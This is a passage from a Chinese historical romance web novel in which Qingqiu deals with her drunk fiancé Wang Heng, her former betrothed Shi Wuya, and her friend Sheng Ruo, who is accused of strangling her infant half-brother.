王恒只觉天旋地转,有人在他的耳边低语呢喃,问他为什么喜欢清秋,问他清秋为何要与他定亲 好多的问题交织在他的脑海中,像是打翻规整的香料,香气缠绕,他分不清是何种味道占了上风,亦不知道先回答那一个问题。 师无涯一个劲地追问,将方才的话又说了一遍。 王恒手中乏力,全靠师无涯撑着,他迷蒙地看着师无涯,朦胧之间他好像看见清秋在对他笑,问他为何喜欢她。 王恒回味着这个问题,唇瓣轻弯,双眸盛满柔情,他轻笑道:“我对你一见钟情,付家的谢师宴我初见你,春日胜景无数,繁花不尽,你站在春色当中胜春色三分。” 他对清秋的感情就是如此清晰明了,世上最难说通的情字,仿佛在那一眼里,他就看到了情字的百般注解。 师无涯听他语调松快,尽是温柔之意,他不知不觉地捏紧了王恒的肩膀,恨不能掐断他的肩颈,剜出他的骨血。 饶是如此想,他却不能这样做,师无涯稍稍松了力度。 “那她呢,她喜欢你吗?你们怎么认识的?”师无涯深吐口气,目光阴狠,像是在面对战场上的贼首。 王恒顿了顿,似是陷入沉思,不过片刻,王恒眸中笑意尽敛,转而蒙上一层雾霭。 “清秋,你并没有那么喜欢我对不对。”王恒倏然抬手,抓着师无涯的双肩,笑得格外苦涩。 师无涯不言语,他等着王恒再说些别的话出来。 他还未等到王恒的下半句,师无涯便见他眼泪扑簌,竟显失意。 见王恒怅然,师无涯心头陡然畅快,只仍由他哭诉,“清秋,你对我究竟有几分的真心?为何要在定亲前回杭州,为什么——” 他的后半句话还未落地,雅间忽地敞开,恰此时,秋风钻入雅间,搅散浓重的酒气。 师无涯猝然抬眸,望向屏风后缓缓而来的身影,她如落叶般轻薄,瘦得令人心疼,那熟悉的身影逐渐靠近。 清秋撩开幕帘,酒气裹着凉风窜进鼻腔,王恒按着师无涯的肩,师无涯则坐在一旁冷脸看她。 “师无涯,你和常也有话说也不必叫他和这么多的酒,常也酒量不佳,你伤着他了如何办?”清秋气得柳眉倒竖,目光瞪向师无涯。 师无涯怔在原地,正欲开口解释,却听王恒倏然出声,“清秋,我想与你成婚,做世上一对壁人,举案齐眉,白首不离——” 清秋微怔,他从不曾听王恒说如此肉麻的话,在她眼中,王恒也不会说这样的话。 “观墨,带郎君回宅子,让云露去煮醒酒汤。”清秋忙吩咐道。 观墨见自家公子醉得不省人事,一时惊诧,忙听清秋的话,扶起王恒回宅中。 待观墨走后,清秋眸光一凛,冷然望向师无涯,“常也有什么话是需要喝醉了说,师无涯你到底对他说了什么?” 师无涯眼尾泛红,面上薄薄一层红晕,他眸光清亮,可又带了醉意,显得格外朦胧,与西湖水中的那轮弯月一样。 清秋道:“常也是我的未婚夫,请师将军离他远些,从前的那些事,常也若要过问,我自会告诉他,师将军想说的,会说的,我都知道。” 语罢,清秋看向窗外的明月,轻叹一声,“日后我盼着师将军得遇良人,切莫再记着姐姐,又或是将我看作姐姐,天色已晚,我先回了。” 师无涯眸光轻颤,沉声道:“不是这样的,很多事都不是你想的那样。” “那是怎样的呢?”清秋问道。 师无涯正欲开口,清秋却将他的话打散,“是怎样又重要吗?过去的事已成长江东水,再回不来,解释也不过是告诉我那长江水流经何处,毫无意义,没有意义的话师将军就别说了吧。” 清秋不欲再听师无涯说话,转身离开,师无涯胸口生疼,那抹背影离她越来越远,好似再也不会回来。 他从前怎么就没想过要将她留在身边呢。师无涯垂下眼睫,盯着地上的酒坛,王恒的话他一遍又一遍地回想。 从王恒所说,能叫师无涯确认一件事,清秋没有那么喜欢他,又或是清秋是因韦氏才想嫁给他。 种种猜测徘徊在他的脑海中,没人能告诉他,这一切都只是猜测。师无涯坐在桌前将余下的酒尽数饮下。 —— 清秋一路赶回付宅,云露尚未煮好醒酒汤,云露见清秋来,忙道:“姑娘,王郎君回来得太过突然,我一听见观墨说便煮了。” “我知道,我来吧。”清秋淡声说着,随后独自一人守在灶房。 观墨已将王恒身上染了酒渍的衣裳褪下,换了身雪白长袍。清秋煮好醒酒汤,观墨恰好出门要去催云露,见清秋来,观墨要接过她的手中的醒酒汤。 清秋抿唇,微笑道:“这儿有我,我来照顾他,你去歇着吧。” 观墨颔首应下,他得了闲便回了房。 明月高照,房内燃着安神香,再闻不到一丝酒气,清秋放凉醒酒汤,她坐在桌前怔怔地盯着王恒。 她与王恒相识已有两年,不论是在汴京还是在青山寺,王恒端方有礼,是人人夸赞的世家公子,从未有过任何狂傲之举。 而在飞云楼里,她好像看见了另一个王恒,那个他不是世家公子,只是一个借酒消愁的常人。 王恒喜欢她,清秋早已知晓,可却从未有过那样坦诚的言语。 不知为何,清秋忆起那日在茶楼,王恒俯身想要亲她。 清秋思绪游荡之际,王恒却嘶的一声,眉头紧蹙,清秋手背试了瓷碗的温度,醒酒汤凉了下来,清秋坐至床边,先将他扶起来。 他身上仍有些许酒气,但已经淡了许多,清秋垫好锦枕,坐在床边搅开醒酒汤。 “常也,醒酒汤喝一些,否则要头疼的,明日就要回汴京了,你喝这么多作甚?”清秋一勺一勺地喂他。 王恒抿下醒酒汤,思绪逐渐回笼,纤长地眼睫轻轻颤动,抬眸看着眼前心上人,他不确定这是不是真的。 “清秋?”王恒声音轻柔,像是得到世上珍宝小心翼翼地开口,他抬手尝试触摸,指尖触碰到清秋的脸颊。 清秋微怔,冰凉的指尖戳着她的腮,王恒似有怀疑,复又用力戳了戳。 “是真的耶。”王恒自顾自地欢喜,“清秋你喜欢我吗?你从来没说过喜欢我,你说你愿意嫁给我,那你喜欢我吗?” 王恒抛出数个问题,清秋仍愣愣地看着他,好半晌才开口,柔声道:“常也,你醉了。” “醉了吗?可是清秋你就在我的眼前,我应当没醉。”王恒的目光落在她端着瓷碗的手上,“我没醉,清秋。” “常也,那你告诉我,师无涯和你说了什么?你为何要喝这么多酒?”清秋半信半疑,王恒的话时而清醒,时而含糊,她不确定王恒是否清醒。 王恒颤颤抬眸,目光温柔缱绻,像是一池春水,他唇瓣轻抿,认真地注视着清秋的眼睛。 四目相对,清秋直视他的双眸。 房内烛火翩然,门未关,风吹进房内,沁得人后背一凉。 王恒倾身靠近她,这回他没有抬手,只是一点点地接近,鼻尖嗅到的合香越来越近,轻浅的梅子香,青涩的酸意。 他的视线逐渐落在清秋的唇上,须臾,王恒将要抵到她的唇,清秋眸光微颤,轻轻偏过头,而王恒的吻并未落下。 清秋放下手中瓷碗,安抚着王恒,他最终只是靠在清秋的肩上,犹豫半晌,清秋轻抚他的背,不着一言。 不知是不是错觉,清秋觉得左肩有温热的湿意,只一瞬便消失了。 烛火飘摇,温和澄黄的烛光映着王恒侧脸,一滴莹润的眼泪悄然落下。 第44章 她想掐死他 翌日清晨, 几人前往龙山渡,在十月中旬回到汴京,满山红枫依旧如烈火。 付高越一回汴京便先去见了韦氏, 随后又被付远衡数落一顿, 后又被付彰训话。夜间付高越总算松了口气, 清秋来寻吕氏,吕氏身子愈发圆润,已比先前好了许多。 清秋去时吕氏正在灯下哄着团圆, 吕氏见清秋来,温柔一笑, “清秋, 你回来了,看看团圆,比先前圆润了。” 清秋凑近瞧了瞧, 伸手捏捏他的脸,轻笑道:“可爱, 有福气的小子。”言罢,团圆伸出白胖的小手,一只手才刚刚握住清秋的小指。 “团圆才见你几面, 就巴巴的望着你。”吕氏打趣道, 轻轻哄着,不多时奶妈来抱孩子,留两人在房内说话。 吕氏身着杏黄长褙子, 眉间多有慈爱,柔和温婉,连清秋都忍不住想依偎在她怀中。 先下房内只余她们二人,清秋垂首静坐, 想与吕氏说些知心话,可又不知那些话从何处说起,是该从碰见师无涯说起,还是从王恒醉酒一事说起。 他们二人都怪得很,变得不像他们。 “前些日子你不在,王国公又送了好多东西来,母亲都替你收下了。”吕氏转头看她,“你心里是如何想的?我听你哥哥说,王恒也去了杭州,他待你实在用心,你呢清秋,可想好了,过阵子就要写庚帖了。” 纳采,问名,纳吉,纳征,还有诸多事宜尚未完成。但王恒和清秋两人知根知底,中间许多流程走下来倒也快。 清秋回过神来,道:“嫂嫂,我早就想好了,我愿意嫁给常也。” 吕氏见她语气坚定,便道:“只你欢喜便好,别的我便不说了,你都晓得的,母亲这些日子总想着你,你一离开啊,母亲便也是像离了魂。” 清秋颔首,垂眸道:“我是想日日陪在母亲身边的。” 吕氏听罢,笑她像个孩子离不开父母。 —— 次日一早,清秋去寻韦氏,韦氏将王夫人的话转述给清秋。 在清秋去杭州的那段时间,王夫人常来付宅走动,韦氏大抵晓得王夫人的意思,恐清秋有变,韦氏并未一口应下。 清秋听罢,便笑道:“母亲不是一直想我嫁得高门吗?怎么当真有这样的好事母亲却不情愿了呢?” 韦氏知她是个什么性子,直叹道:“你话说的好听,我当真应了,来日你后悔了如何办?你父亲和你哥哥也不曾松口,只等着问你的意思。” 清秋黯然垂眸,复又悄然抬眸看韦氏,韦氏常年操持后宅,两鬓冒出银发,不如前两年鲜亮,与她在杭州的姨母相比,清秋心疼韦氏。 忆起韦南絮的一番话,清秋心头闷涩,韦氏见她噤声不语,忧道:“这是怎么了?当真不情愿?” 清秋摇头,柔声道:“我是愿意嫁给常也的,母亲不必担心,这件事我不会反悔,我早已答应常也。” 听她如此坚决的语气,韦氏含笑点头,心道她这个女儿总算长大了。 韦氏正欲放她回院子,待清秋要起身时,韦氏眸光一转,似想起些什么,踟蹰半晌,缓缓开口。 “你外祖母可还好?” 清秋身子一顿,眼睫低垂,温声笑道:“好,母亲不必忧心,外祖母和姨母都很好。” 杭州发生的那些事,清秋只得掩下。 闻言,韦氏眼中含笑,呢喃道:“母亲好便就好。” 清秋快步退出正房,只刚踏出房门,李妈妈便追了出来,清秋听见脚步声,回身看李妈妈,李妈妈拉过清秋的手,二人一道出了正房。 穿过月洞门后李妈妈才左顾右盼地问:“姑娘你方才的话是哄夫人的吧。” 清秋眸光一转,打量四下无人,颔首道:“妈妈知道些什么?” 李妈妈笑得为难,道出一些清秋不晓得的往事,清秋听罢已不足为奇。 韦老太太不喜韦南风,只将韦南絮当作宝贝,当初韦南絮想高攀杭州知府,谁知那知府调离杭州,韦南絮竟追着她到扬州,她先是以妾室的身份嫁给杭州知府,不到一年又被扶正。 只可惜那知府的命不好,在她当主母的一年后就去了。韦南絮不愿再操持破落的家,索性两手一甩就回了杭州娘家。 韦南絮回杭州时,韦南风已嫁付彰两年有余,那会正逢付彰升迁,不久后便要去汴京赴任。 韦南絮在付彰临行前,请他叙旧吃酒,那晚韦南风见他彻夜不归,本欲去寻他,李妈妈拦下了韦南风。 李妈妈说完往事便回了正房,清秋独自揣摩着这件事,那天晚上付彰彻夜不归,而韦南絮又说了些什么。 清秋不愿往坏处想,可又无法忽视李妈妈说的那番话。 —— 师无涯回汴京已是十月底,杭州水寇一事顺利解决,杭州知府与水寇勾结,谋财害命,引得人心惶惶,官家大怒一场,后又下旨查抄钱家。 自杭州回汴京,师无涯一路升迁,现如今已是殿前司副都指挥使,又因官家赏识,颇为器重。 这日休沐,师无涯出门拜访广威将军,二人府邸只一墙之隔,府门前小厮认得师无涯,径直放他进去。 前阵子,平乐公主又召见他,师无涯以公务繁忙婉拒,这桩事叫师无涯想起原先平乐说的那些话,这朝中的形势犹如深渊,稍有不慎便会被吞没。 师无涯虽不喜党争,可身在其中,又如何能独善其身,故而他想来将军府问一问广威将军。 女使见师无涯前来,忙上前引路,还没进正堂便见一赭色身影,那姑娘盛气凌人,草草看了一眼师无涯便觉张扬。 那姑娘也瞧见了师无涯,她停步站在远处,微眯着眼,望向师无涯。 不多时,她便认出来人是谁。 “你是付二的未婚夫。”盛婼大步上前,眉尾轻挑,从上至下地打量他。 师无涯还未认出她来,但他不喜盛婼所说的话,他如今已不是清秋的未婚夫。 思及此,师无涯眸光轻颤,冷道:“早不是了。” 盛婼双眉高挑,得意一笑:“是啊,你不是了,付二如今的未婚夫是汴京风光霁月的王郎君。王郎君与清秋相识虽不久,可却比你对清秋好上千倍万倍,也不知她从前是着了什么魔,非要缠着你不嫁。” 师无涯不欲和她争辩,只冷然盯着她,盛婼自不怕他凌厉阴狠的眼神,反倒将这视作师无涯的愤懑之态。 “婼婼,回盛宅去,总待在舅舅家像什么样?”何彬从盛婼背后走来,这无形的压迫感让盛婼的气势矮了半截。 师无涯见来人是何彬,忙垂首作揖,喊了一声将军。 盛婼回过身,笑吟吟地道:“舅舅,我不想回去,你如今回京不过才个把月,我也只在府上待了个把月,这就要撵我走了?” 何彬眸光忽沉,无奈道:“你如今年岁不小了,尚未定亲,本该待在家中有母亲把关婚事,你倒好成日不着家,你心头可有数?” “我说了我不回去,那不是我的家。”盛婼胸口颤颤起伏,似是气得不轻,“舅舅不待见我,我自去街上流浪,我也不回盛家。” “胡闹!”何彬怒目吼道。 话音甫落,盛婼眼眶登时盈泪,一双狐狸眼楚楚可怜,何彬拉下脸来,好声好气地哄她。 “婼婼,你父亲又添一子,你且回去瞧瞧弟弟。”何彬轻声道,“你不喜盛家,可你终归是入了盛家的族谱,他们不会为难你,可你如此不听话,谁又能为你将来做打算。” 纵使盛婼再不喜欢盛家,她也是盛家的人,如今唯一的盼头便是张小娘子为她寻一门好亲事,待她嫁出去,不再回盛家。 “舅舅,你同我说这些作甚,我难道一辈子要仰仗着那个人活下去吗,我要在她面前卑躬屈膝地做她的女儿吗?她是我哪门子的母亲,他又是什么样的父亲,盛家就是豺狼虎穴,我娘去世后,谁待我好我一眼就能瞧出来。那不是我的母亲,也不是我的弟弟。”盛婼气道,转身跑出将军府。 何彬见她冥顽不灵,忙吩咐小厮将盛婼押回盛宅。 “见笑了。”何彬朝师无涯苦笑。 师无涯微怔,忙道:“盛三姑娘的脾气仍如往常。” 何彬拍拍师无涯顺道揽过师无涯的肩,带他往正厅去,师无涯向他说明来意,何彬听后直叹气。 “平乐公主行事高调,其母族是世家大族,张氏。张氏门生众多,在朝为官的数不胜数,盛家便是其中之一,其下林林总总,谁又看得过来。”何彬拍膝长叹。 二大王势力磅礴,虽不是太子却有根基,太子势单力薄,靠着政绩稳坐太子之位,这两人明争暗斗早不知过了多少次招。 师无涯道:“将军心中可有属意的人选?” 何彬一时讶然,惊道:“你怎么能说出这样的话,这些事又不是你我能左右的,就如今而言,太子殿下与二大王势均力敌,旗鼓相当。” 在朝为官,总归是避免不了这一遭的,师无涯并没有做中立派的打算。 “将军,我心中已有打算,若日后我们不同道,将军不必手下留情。”师无涯眸光熠熠,唇边含笑。 何彬起先十分讶异,见师无涯如此,何彬颔首,付之一笑。 —— 时至正午,清秋在正房用过饭后,便虽吕氏出了正房,不过刚走出两步,便见云露从游廊处快步跑来,云露见清秋站在月洞门下,快步上前,喘着气道:“姑娘,出事了。” 吕氏眉头轻蹙,问道:“何事如此惊慌?” “什么事这么急?”清秋亦狐疑地看向云露。 云露缓口气,看向二人镇定道:“是盛家三姑娘的事,红菱方才寻小厮来问姑娘回来了没,这会红菱正哭着寻你呢,嘴里只说出了事,盛三姑娘名声全毁了。我也没问清楚,见事情急,我便先来寻姑娘了。” 盛婼身边的红菱来付宅好几次,说是要寻清秋,可惜上月她回了杭州,红菱跑空好几趟。 清秋已有许久未见盛婼,两人说知心话的时候少之又少,她去青山寺两年,回汴京后又一直待在家中,很少再过问盛家的事,如今是出了什么事。 清秋来不及多想,只让吕氏先回,吕氏怕耽搁清秋,便不再问。 云露一路小跑带清秋去见红菱,红菱此时正候在付宅门前,眼皮高肿,眼周乌青,她焦急地往门内眺望,忽见影壁前有人快步而来。 “付二姑娘,去见见我们姑娘吧。”红菱见清秋出来,眼泪扑簌落下,她欲跪下求清秋,云露眼疾手快地扶起红菱。 云露忙道:“红菱姐姐别急,有话不妨慢慢说。” 清秋凝眉,急急问道:“出了什么事?” 红菱先让云露去套车,云露看了眼清秋,见清秋点头才动身,清秋宽慰红菱,温声道:“盛姐姐不会有事的,总会有法子解决的,红菱你细细对我说,究竟何事。” 话落,红菱止住抽噎声,将上月所发生之事从头道来。 上月初,盛家主母张小娘子临生产之日,诞下一小哥儿,本是一桩喜事,岂料那哥儿刚出生不过一月前几日就夭折了,这其中有些隐情,红菱讲得糊涂,她也不知里头的因果。 只说那小哥儿是盛婼掐死的。 “什么?”清秋眉头紧锁,讶然道。 红菱急得哭出声,道:“我也不信姑娘会做出这样的事,可那小哥儿就是脖上有红痕,摇篮里还抓着姑娘的长命锁,院子里的人都瞧见了,是姑娘出来后小哥儿才去了的。” 车轱辘滚过御街,带起一阵疾风,马车内气氛凝重,只余一阵呜咽声。 “付二姑娘,姑娘如今已不在盛家住了,去马行街广威将军的府邸。”红菱见风撩开幕帘,忽地想到这件事。 清秋略微颔首,命车夫改道。 红菱哭得眼酸,抹干眼角余泪,道:“付二姑娘,我家姑娘本不想与你说这件事,是我自作主张要来请你帮忙的。” 盛婼在盛家虽有嫡女的名头,可人人都瞧得出她不过是个没有依仗的姑娘,母亲早逝,父亲官至参知政事,而继母又是中书令的女儿,虽说是庶女,可在盛家有了尊荣,中书令自然高看一眼。 这些年盛婼外祖家势渐颓微,只有广威将军何彬勉强撑起门楣,再过不久何御史即将致仕,盛婼能依靠的就只有舅舅何彬。 广威将军虽有战功,到底是拼不过朝廷上的党争,何况盛家位高权重,谁又敢来招惹。 “我不相信盛姐姐会做出这样的事,盛姐姐只是性子直了些,这样杀人放火的事,她断不会做。”语罢,清秋挑开幕帘,帘外彩棚勾连,人声鼎沸,引得清秋心口不安,如今马车已至马行街。 红菱引清秋进广威将军府,将军府布局简单,没有繁复的装饰,四下冷清,府中仆妇似乎也不多。 广威将军不在府中,一路无人阻拦,红菱带清秋进了后院,后院较之前院倒多了些花草,显得有生气。 红菱上前叩门,轻声道:“姑娘,你瞧瞧谁来了?” “谁来了我也不会回去,我没做过的事,我不会认。”盛婼后背抵在门后,声音凌厉。 红菱回首望向清秋,清秋示意她退下,红菱会意,退至一旁。 深秋之际,总要格外冷些,秋风吹得院中枯枝落叶嘎吱作响,日光映出长影,落在门框正中。 盛婼听门后倏然安静,正欲回头去看,却见一道倩影,复又抵住门,道:“我谁也不见,我什么都没做,就是告到官府我也如此说。” 话落,门内外倏然沉静,只余风声在刮。 “盛姐姐,是我。”清秋眸光温柔,轻声叩门。 闻声,盛婼抵住门的身子颤了颤,蓦然垂下眼,低声道:“你也觉得我掐死了她的孩子吗,清秋我不会做那样的事。” 她厌恶张小娘子,厌恶她的一切,从盛婵到她生的小哥儿。可因为厌恶就要搭上一条人命,盛婼做不到。 只是谁又能为她作证,当日只她一人去了卧房,那小哥儿手里紧紧攥着她的长命锁,如此种种都在说是她掐死了张小娘子的孩子。 张小娘子刚生产完,又经历丧子之痛,盛父要拿盛婼问罪,盛婵把她拽到祠堂前,要她跪下谢罪,甚至扬言要掐死她。 盛父罚她在祠堂跪了一宿,盛婵如豺狼虎豹守在祠堂前,死死地盯着她,唯恐她跑了。 秋日的夜又长又冷,盛婵夺了她的吃食,整整一天一夜,盛婼粒米未进,红菱守在祠堂外去求盛父,又去求张小娘子,谁知人人都推脱不见。 盛婼本欲辩驳,可盛婵却不让她出祠堂,推搡之下,盛婵被推翻在地,后脑勺磕倒太湖石上,鲜血流了一地。 盛婼便带着红菱到了将军府,自来了将军府,盛家打发人来过问,何彬都一一挡了回去,他不好过问盛家的事,只得先将声盛婼护着,待到日后再说。 这一拖再拖,恐怕将来张小娘子将此事闹大,那盛婼的名声就全毁了,谋害姐弟,张扬跋扈这些都将跟随盛婼一辈子。 清秋心知盛婼并非那般不堪,可如今这些不由她评说,一旦东窗事发,盛婼这辈子都洗不清了,她本就无亲生母亲教养,又无至亲兄弟,在盛家一向艰难,此后她的亲事恐怕也难了。 “盛姐姐,我明白你,你不会做那样的事,你出来说好吗,我们把事情理清,总会有转圜的余地。”清秋凝眉劝道。 盛婼没有犹豫地开了门,她面色不好,往日那般盛气的模样变得颓然。 “清秋,你说这些话不是哄我的对吗。”盛婼缓缓抬眸,见清秋担忧的模样,心中陡然一暖。 清秋拉过盛婼的手,揉揉她的手心,抿唇轻笑,道:“我怎会哄你,盛姐姐是世上最好的人,我把你当作最亲最亲的姐姐。” 往日盛婼会为她出头呛白,而今清秋也守在她身边,为她说话开解她。 红菱和云露退至院外,清秋牵着盛婼的手,坐至四面翘脚的凉亭下,先是好声地安抚盛婼,一番说辞下来,叫盛婼心头的郁闷消减不少。 清秋见她有了点点笑意,便问:“我前阵子不在汴京,你就出了这样大的事,究竟是怎么回事,盛姐姐同我说吧,这关乎你的名声,也关乎一条人命。” 盛婼眸光忽闪,忆起当日的事,她思忖道:“清秋,那天我只是路过她的院子,我听见里头有婴孩的哭声,院外又无人在,我便进去了,我一进去就看见那小孩在哭,我看四下无人就像抱起来哄一哄” 她顿了顿,欲言又止,清秋疑道:“当真如此?” 盛婼倏地垂眸,不知该如何向清秋说,她那天望着摇椅里的白白胖胖的小孩,软糯可爱,像是一个小糯米团子,他一见到她就不哭了。 小糯米团子甜滋滋地对着她笑,笑得眉眼皱成一团,张牙舞爪地想要她抱,在见到他的那瞬间,她想掐死他,想把他的喉咙掐断,让他再也笑不出来,那是张小娘子的孩子,害死她母亲的人的孩子。 离她不过一步之遥,只要一伸手她就可以掐死他,毫不费力地报一次杀母之仇,让张小娘子也体会到失亲之痛。 “盛姐姐?”清秋轻声唤她。 盛婼尚未回神,仍旧沉在那日要掐死小糯米团子的情绪中,只要一想起那个孩子死了,盛婼心头就陡然畅快。 那日午后,她把手伸进摇篮,从他的手一路向上摸到他的脖子,软的腻人的皮肤,好似稍一用力就可以掐断了。 就是那么简单粗暴的方式,就可以报仇。 第45章 “你骗了我” 秋风乍起, 日光倾落在凉亭旁,只差一寸便可照到盛婼。 清秋见盛婼的眼神由阴郁转向快意,不由得心口一颤, 那一瞬她怕盛婼真的会被仇恨蒙蔽。 “盛姐姐, 你没有那样做。”清秋清亮温和的声音传入盛婼耳中。 盛婼回过神来, 眼中闪过一丝落寞,沉声道:“我想掐死他,但最后我没有那样做, 因为他哭了清秋,他哭了” 那天她想已手上使力, 她要掐死他, 准备就这样一了百了的时候,他哭了。 哭声叫停了她手上的动作,思绪渐渐回笼, 她最终收手,把他抱在怀里轻声哄着。 清秋心头松了口气, 疑道:“盛姐姐,那你没有这样做,就是有别的人害死了他, 那你可见到过别人, 又或是谁进去了?” 盛婼黯然摇头,沮丧道:“没有了,我不知道还有谁进去了, 或许有人进去了我也不知道,就是有人知道,恐怕也巴不得我落难。” “清秋,你知道吗, 我父亲想打死我”盛婼眼中含泪,眼底的水雾凝成泪珠,一颗一颗地往下落,“假使我的母亲还在,我是不是就有依靠了。” 豆大的泪珠从她的眼角滑落,清秋从未见过盛婼有过如此落魄无神的时候,从前的盛婼张扬明媚,而如今却已被磨得没有光彩。 清秋走至她身边半蹲下身,抬手擦去盛婼眼角的泪,极其温柔地道:“盛姐姐,还有我呢,我是你的妹妹,我也在。这几日你现在将军府住着,我去查这件事。” 盛婼抿唇苦笑,眼泪不停地往下淌,她哽咽道:“清秋,谢谢你” 清秋陪了她好一阵,见天色不早,便要告辞。 —— 十一月初五,秋高气爽,长空如洗,前两日下了一场秋雨,愈发的冷起来,清秋这几日常出门去。 盛家的事被瞒得很紧,几乎套不出话来,她想帮盛婼,却又不知该从何查起,到底是别人家的事,要想查起来格外费劲。 初五这日,清秋正欲出门再去盛家附近走动,只刚踏出院门,绿柳迎面走来,笑道:“姑娘,贺夫人来了,正要见姑娘呢。” 清秋心下疑道,尹惜来做甚,尹惜极少登门见人,如今竟上门来了,实在好奇。 思及此,清秋赶忙往正堂去,吕氏听闻尹惜上门,带着团圆一道去正堂,三人在正堂下撞个正着。 韦氏见她二人齐齐到来,吩咐李妈妈上茶,李妈妈颔首称是。 清秋抬眸见尹惜着雪青色萱花缠枝花罗褙子,梳着单螺髻,只以素簪挽发,点缀几颗莹润珍珠,素雅清简,看着是位娴熟的才女,实则不然,尹惜饮酒作乐,又爱关扑买卖,世人所爱之物,她亦喜欢。 尹惜抬眸,扫了一眼吕氏和清秋,唇边含笑,朝韦氏道:“我今日乃是受人之托,付夫人想来心里有数,我与清秋有些缘分,又与国公夫人相识,思来想去只有我做这个媒人最为合适,外头的是王夫人送的小玩意,不知付夫人可备好了草贴?” 王恒与清秋的亲事本就是早有前兆的,如今再来交换草贴也不唐突,至于其他的流程倒也能省一省。 尹惜目光落在清秋身上,只见她着碧青色折枝桂花罗褙子,下着碧色素纱百褶裙,颇有几分清艳佳人的意味。 “贺夫人草贴早已备好,劳烦你带到国公府了。”韦氏柔柔笑道。 尹惜颔首,示意冬月接过草贴。 “清秋,我有些话想另同你说。”尹惜起身,朝吕氏挑眉一笑,吕氏知她心性,便先退下。 韦氏见此,也留她二人单独说话。 正堂内剩下她二人,清秋心下疑惑,正欲开口问尹惜,尹惜却起身走至她身边,按住她的肩。 清秋恍然抬眼,只见她左手手腕套着一只金镶玉镯子,仍是那只不和她气度风韵的镯子。 “清秋,我想与你说些话,也不考你。”尹惜凝眉,语气沉重,她道:“你我本有些缘分,我赠你一句话。” “满腹空心思,到头是始终。” 清秋疑道:“尹姐姐此话是何意?” 尹惜眸光忽闪,抿唇笑道:“清秋,你要自个儿悟,旁人说的,你未必肯听肯信,走了一遭便晓得了。” 话落,尹惜松手离去,清秋将她送至宅门。 尹惜三步一停,两步一留,她忽地转过身,对清秋道:“我要走了,回杭州。” “和贺大人一起吗?”清秋心下生疑,贺清是京官,尹惜自是可以回杭州,但贺清呢。 尹惜垂下眼睫,犹豫不定,“还不晓得,他有远志,我却无甚志向。我不想再留在汴京,贺清不愿,我会与他和离,带孩子回杭州。” 和离? 清秋满腹疑惑,尹惜却无继续说下去的意思,只转身离开。 —— 时至酉时,暮色四合,杏院中枯草丛生,枯枝横斜。 今夜王恒邀她去逛大相国寺,清秋原不想去,可转念一想,他二人已有多日不见,自杭州回来过后,她一直忙着盛婼的事,到如今都还未有眉目。 如今两家已交换草贴,不日将去青山寺合八字,大抵明年开春便会成婚。 思及此,清秋还是想多见见王恒,日后半生还需消磨,须得多接触了解。 夜幕将至,明月攀上枝头,秋风中带有丝丝凉意,清秋系了件披风。 王恒已候在付宅前,观墨并未随行,云露见观墨不在便知他二人是要独处,这两日绿柳不常在杏院,反倒常随着付高越。 付高越也有意向清秋讨云露去做女使,只是还未开口,清秋倒没在意这些,只当绿柳事多忙碌。 弯月如钩,宅前有一人长身玉立胜过松风明月。 清秋一见他便含笑迎上去,眉眼俱弯,笑道:“常也,今日你是不是也来得很早?” “不算早,怕你等久了,我便早点来,这样我就能马上见到你了。”王恒眉眼含笑,见到她的时候总是分外轻柔。 清秋羞赧垂头,垂眸道:“今日尹姐姐来寻我了,想来我们的亲事也快了。” 王恒温声道:“是我母亲请的贺夫人,思来想去只有贺夫人最为合适,清秋婚期你来定吧,日子好不好,并非最重要的,只要你挑的日子都是好的。” 秋风乍起,晃得茶楼酒肆前的灯笼明明灭灭,大相国寺前人潮涌动,万千灯火映照长夜。 清秋驻足微怔,方才王恒的话,叫她有些错愕。 这世上谁不想选个黄道吉日成婚,可王恒却将一切的决定交给她,她好似欠了王恒许多东西,从何时开始算。 在这片刻里,清秋忽地想起在杭州时,王恒酒后醉言,他对她一往情深,敬重她。 也正是因为敬重,她才愿意嫁给他。 可王恒不是,他是因为喜欢,因为情,那她日后能给王恒所想要的情吗。 “常也,你为何会喜欢我?上回在元丰楼你好似没说清楚。”清秋余光扫过他的侧脸,他在身侧犹如明月青竹,那么清雅淡然。 王恒眼中映着大相国寺繁闹的情形,清秋与他一道并肩而行,两人沿着汴河边走边望,河中画舫笙歌不绝,沿河之人驻足观望。 “清秋许多事情是说不清的,但若要论为何喜欢你,那就要要从两年前说起了,你忘了我对吗?”王恒垂下眼睫,趁着拥挤的人潮,牵过清秋的手。 他掌心温热,手心贴着手心,那股温热的气息仿佛火焰,烧得清秋浑身发烫。 “常也”清秋双颊飞红,试图挣开他。 许是觉察到她想要挣脱的心思,王恒握紧了她的手,皓腕凝雪,不止肌肤似雪,她掌心也微凉。 “清秋,你的心不静,你骗了我”王恒兀自呢喃,眼底腾起一层薄薄水雾,复又迅速掩下,他自顾自地问清秋,“为什么不继续骗我” 清秋听不清他的话,渡过拥挤的相国寺桥,汴河池水澄明清澈,池中满是河灯游船。 行至相国寺桥对岸,王恒松开她的手,轻声道:“桥上人多,我怕你走散,这才牵了你的手。” “方才你问我为何喜欢你,那就得从两年前付家的谢师宴说起,我初见你时,你刚及笄,你于春色中,胜春色三分。”王恒眉眼柔和,眼眸中勾出丝丝缱绻的柔情。 清秋微怔,思绪被迁回两年前的谢师宴,那时她见过许多人,来往世家贵女、风流郎君数不胜数。 而王恒仿佛不在其中,他说他见过她,清秋仍记不起。 “那时我在付宅中不慎迷路,在月洞门前,我遇见了你,那时我并不知道你是付家二姑娘,后来枫林宴再遇,我才清楚是你。”王恒声音清越,将往事娓娓道来。 王恒垂眸,眸光中倒映着清秋的模样,相国寺的繁闹与他,世上仿佛只有眼前人是最真切不过的。 清秋抬眸与他对视,原来她早见过王恒,那时在付宅的月洞门下,棠花飘零,春日枝头,她却只瞧见了师无涯,只记得师无涯。 她记得那日还和师无涯拌嘴,问她为什么要将秋千给姐姐,两年前的事,清秋分明记得清楚,可却记不得王恒。 思及此,清秋眼睫扑闪,几度启唇,最终又抿唇不语。 “你想说什么清秋。”王恒温声问道。 “我从前喜欢了师无涯十二年,整整十二年,常也你不在意吗?”清秋眸光忽闪,低声说道。 王恒摇摇头,那些事都是过去的事,他弯唇轻笑,眸光仍旧温和。 “我知道。” “昭宁七十二年,金明池畔,我曾为他跳河,我只盼着他能疼惜我”清秋话还未说完,王恒倏然出声。 “没关系。” 清秋眸光轻颤,似是听见震撼人心的语句,久久不能回神,分明是再坚定不过的情语,她的心却没由来的慌乱起来。 忽地一声,东大街爆竹炸开,在寂寂夜空中生出绚烂烟火,照彻长街小巷。 